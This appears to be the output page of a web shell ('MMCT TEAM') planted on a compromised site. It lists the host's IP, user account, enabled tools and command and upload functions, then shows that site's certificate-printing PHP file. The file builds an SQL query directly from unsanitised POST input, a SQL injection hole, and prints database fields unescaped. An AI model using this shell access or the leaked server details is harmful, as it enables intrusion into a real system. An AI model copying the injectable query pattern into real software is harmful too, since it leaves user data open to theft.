MMCT TEAM
Server IP : 86.38.243.193  /  Your IP : 216.73.217.143
Web Server : LiteSpeed
System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u493057690 ( 493057690)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u493057690/domains/iasfindia.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u493057690/domains/iasfindia.com/public_html/admin/certificate_print.php
<?php
	require_once 'validate.php';
	require 'name.php';
?>


<style>
@media screen
{
.srid
{
    top: 542px;
    position: absolute;
    font-size: 34px;
    left: 3351px;
}

.photo
{
    width: 236px !important;
    top: 665px;
    position: absolute;
    left: 227px;
    height: 309px;
}
.name
{
    top: 643px;
    position: absolute;
    font-size: 34px;
    left: 999px;
}
.fname
{
top: 678px;
    position: absolute;
    font-size: 34px;
    left: 787px;
}

.dob
{
top: 749px;
    position: absolute;
    font-size: 34px;
    left: 659px;
}
.sport
{
top: 884px;
    position: absolute;
    font-size: 34px;
    left: 786px;
}
.result
{
top: 1024px;
    position: absolute;
    font-size: 34px;
    left: 1323px;
}
.state
{
top: 749px;
    position: absolute;
    font-size: 34px;
    left: 1153px;
}	
.agroup
{
top: 884px;
    position: absolute;
    font-size: 34px;
    left: 1353px;
}	
}
@media print
{
.srid
{
    top: 542px;
    position: absolute;
    font-size: 34px;
    left: 3351px;
}

.photo
{
    width: 236px !important;
    top: 665px;
    position: absolute;
    left: 227px;
    height: 309px;
}
.name
{
    top: 643px;
    position: absolute;
    font-size: 34px;
    left: 999px;
}
.fname
{
top: 678px;
    position: absolute;
    font-size: 34px;
    left: 787px;
}

.dob
{
top: 749px;
    position: absolute;
    font-size: 34px;
    left: 659px;
}
.sport
{
top: 884px;
    position: absolute;
    font-size: 34px;
    left: 786px;
}
.result
{
top: 1024px;
    position: absolute;
    font-size: 34px;
    left: 1323px;
}
.state
{
top: 749px;
    position: absolute;
    font-size: 34px;
    left: 1153px;
}	
.agroup
{
top: 884px;
    position: absolute;
    font-size: 34px;
    left: 1353px;
}	
}
</style>
<!--app content-->
				<div class="app-content">
					<div class="side-app">
						
<div class = "panel panel-default">
			
			<div class = "panel-body">
				
				<div class="card-body">
				  <?php 
								
require_once 'connect.php';
if (isset( $_POST['serial_id'] ))
{
$serial_id=$_POST['serial_id'];
$query = $conn->query("SELECT * FROM `registration` where status='Approved' AND serial_id='$serial_id'") or die(mysql_error());
//mysqli_query($conn,$query);

while($fetch = $query->fetch_array()){
?>

	  <div style="width:2122px; height:1500px; text-transform: uppercase;
    font-weight: 900; position:absolute; background-image: url(../assets/images/certificate.jpg);" class="printableArea">
								<div class="text-body"><h3 class="font-weight-semibold2 text-capitalize srid"><?php echo $fetch['serial_id']?></h3></div>
								<div class="item7-card-img mt-5 ">
									<img src="../<?php echo $fetch['photo']?>" alt="img" class="w-100 br-5 shadow-lg photo">
								</div>
								<div class="item7-card-desc d-flex mb-2 mt-3">
									<div class="name"><?php echo $fetch['name']?></div>
									<p class="fname"><?php echo $fetch['father_name']?></p>
                                    <p class="dob"><?php echo $fetch['dob']?></p>
                                    <p class="sport"><?php echo $fetch['sport']?></p>
									<p class="agroup"><?php echo $fetch['age_category']?></p>
                                    <p class="result"><?php echo $fetch['result']?></p>
                                    <p class="state"><?php echo $fetch['state']?></p>
									
								</div>
								
								
								</div>
								
				
				<?php
					}
}
				?>
								
							</div>
				
	  </div>
		</div>
	</div>
	</div>

						
				<!--app content-->









MMCT - 2023